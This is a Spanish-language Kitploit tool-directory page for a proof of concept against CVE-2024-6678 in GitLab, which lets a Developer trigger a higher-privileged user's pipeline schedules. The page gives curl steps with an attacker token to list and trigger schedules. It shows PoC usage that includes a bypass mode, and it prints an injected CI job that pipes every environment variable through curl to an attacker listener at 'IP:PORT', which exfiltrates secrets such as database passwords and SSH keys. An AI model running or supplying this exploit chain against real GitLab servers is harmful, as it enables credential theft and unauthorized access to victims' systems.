Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-6678 — PoC para CVE-2024-6678 | Kitploit
Herramientas/GitHubGitHub/fallenskill1/cve-2024-6678
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad en la NubeDevSecOps
GitHubfallenskill1/cve-2024-6678

CVE-2024-6678

PoC para CVE-2024-6678

Ver Repositorio
411hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-6678 - GitLab: Disparo Arbitrario de Usuario en Pipeline Schedule

PoC para CVE-2024-6678

Descripción de la vulnerabilidad

GitLab permite a los usuarios ejecutar manualmente las programaciones de pipelines de CI/CD (Pipeline Schedules) mediante el botón «Play». La vulnerabilidad consiste en que la función «play» permite a cualquier usuario con permisos de Developer (no solo al propietario de la programación) ejecutar una programación. Esto tiene dos consecuencias:

  1. Un desarrollador ejecuta una programación creada y configurada por un usuario con más privilegios (Maintainer / Owner).
  2. El pipeline ejecutado hereda las variables de entorno de la programación (incluidas las sensibles), aunque Developer no tenga permisos para verlas a través de la API.

Además, el impacto final dependerá de lo que se almacene en las variables de la programación. Por ejemplo, la variable DB_PASSWORD permite hacer un volcado completo de la base de datos, y SSH_PRIVATE_KEY permite obtener RCE.

Pasos para reproducir

Requisitos previos

  • GitLab CE/EE, versiones desde 8.14 hasta 17.1.6 / 17.2.4 / 17.3.1
  • Cuenta del atacante con permisos de Developer en el proyecto objetivo
  • El proyecto tiene al menos una programación de pipeline activa
  • La programación apunta a una rama no protegida (por ejemplo, , ) — o el proyecto tiene programaciones con formato de ref corto (bypass)
Descargar herramienta
develop
staging

Importante: las programaciones en ramas protegidas (por ejemplo, refs/heads/main con la protección activada) son bloqueadas por la política PipelineSchedulePolicy#protected_ref y devuelven HTTP 403. El ataque funciona en ramas no protegidas — que es precisamente donde suelen crearse programaciones de integración y staging con credenciales reales.

Paso 1. Obtener la lista de programaciones

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
  | python3 -m json.tool

Buscar una programación que pertenezca a un usuario con más privilegios (Maintainer/Owner).

Paso 2. Ejecutar la programación

root@kitploit:~
curl -s -X POST \
  -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"

Respuesta esperada: HTTP 201 — el pipeline se ha añadido a la cola.

El pipeline se crea en nombre del atacante (current_user), pero con todas las variables de la programación (que pueden incluir claves de API, tokens, credenciales configuradas por el propietario).

HTTP 500 "Unable to schedule pipeline run immediately" — Comportamiento esperado. Se trata de la deduplicación de Sidekiq (deduplicate :until_executed): la tarea para esta programación ya está en la cola de una ejecución anterior exitosa. Es decir, el ataque ya se ha activado antes y la tarea está esperando a ejecutarse.

Paso 3. Confirmar la creación del pipeline en nombre del atacante

root@kitploit:~
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
  "https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
  | python3 -m json.tool | grep -E '"id"|"status"|"username"'

Uso del PoC

root@kitploit:~
# Базовый запуск: автовыбор расписания
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42

# Указать конкретное расписание
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --schedule-id 7

# Через GraphQL (требует --project-path)
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --graphql \
    --project-path "mygroup/myrepo"

# Проверить legacy-ref bypass
python3 cve-2024-6678-poc.py \
    --url https://gitlab.example.com \
    --token glpat-xxxx \
    --project-id 42 \
    --exploit-mode
image_2026-05-21_11-43-42
image

Antes del trigger, el PoC reemplaza .gitlab-ci.yml en develop por: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-

Todo esto llega a tu listener

image_2026-05-21_19-05-58

Enlaces

  • GitLab Security Advisory
  • NVD: CVE-2024-6678